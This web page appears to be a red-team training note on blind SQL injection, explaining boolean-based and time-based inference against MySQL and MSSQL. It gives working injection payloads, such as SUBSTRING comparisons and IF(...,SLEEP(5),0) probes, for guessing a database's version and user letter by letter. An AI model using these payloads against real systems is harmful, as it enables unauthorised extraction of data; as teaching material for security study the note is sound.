Ir al contenido

MASTER REVIEW MANUAL: PHASE 3 - BLIND SQL INJECTION

Instructor: Red Team Lead Status: LEVEL COMPLETED (CONCEPTUALLY) Objective: We will extract data from a database that does not show results...

0views

Instructor: Red Team Lead Status: LEVEL COMPLETED (CONCEPTUALLY) Objective: We will extract data from a database that displays neither results nor errors.

We can no longer “see” the data. We can only see if the web reacts well (Green Light) or poorly (Red Light). We will extract data here slowly. We must guess letter by letter.

  • Question: “Is the first letter of the password ‘A’?”
    • The web loads normally -> YES.
    • The web loads empty/error -> NO.
  • Scenario: The page content changes.
  • Tool: SUBSTRING(texto, inicio, longitud).
  • Correct Payload: 101 AND substring(version(), 1, 1) = '5'
  • Our Error in Simulation: substring(..., 1, 4) = '4'.
    • Tactical Correction: We were comparing 4 letters with 1. We will always trim 1 by 1 to be precise: substring(..., 1, 1).
  • Scenario: The page always responds the same (“200 OK”). It is a black hole.
  • Strategy: We will use TIME as a communication channel.
  • Tool: SLEEP(segundos) (MySQL) or WAITFOR DELAY (MSSQL).
  • Logic IF: IF( CONDICION , DUERME , NO_DUERMAS ).
  • Our Error in Simulation: IF( (condicion) , SLEEP(5) ) -> Missing ELSE.
    • Tactical Correction: IF( (condicion) , SLEEP(5) , 0 ). The IF function in MySQL strictly requires 3 arguments.

We will not memorize. We will build logically.

  1. Anchor: We need a base truth to be fulfilled.
    • id=101 (Valid user).
  2. Connector: We need to add our question to the base truth.
    • AND
  3. Question: The condition we want to verify.
    • substring(user(), 1, 1) = 'a'
  4. Effect (Only Time-Based): If it's true, we'll do something notable.
    • SLEEP(5)

Resulting Payload (Time-Based):101 AND IF( substring(user(),1,1)='a', SLEEP(5), 0 )

Boolean Test (MySQL):1' AND 1=1 -- - (Loads correctly - Green Light) 1' AND 1=0 -- - (Loads incorrectly/empty - Red Light)

Guessing Version (Boolean):1 AND substring(@@version, 1, 1) = '5'

Guessing Version (Time-Based):1' AND IF(substring(version(),1,1)='5', SLEEP(5), 0) -- -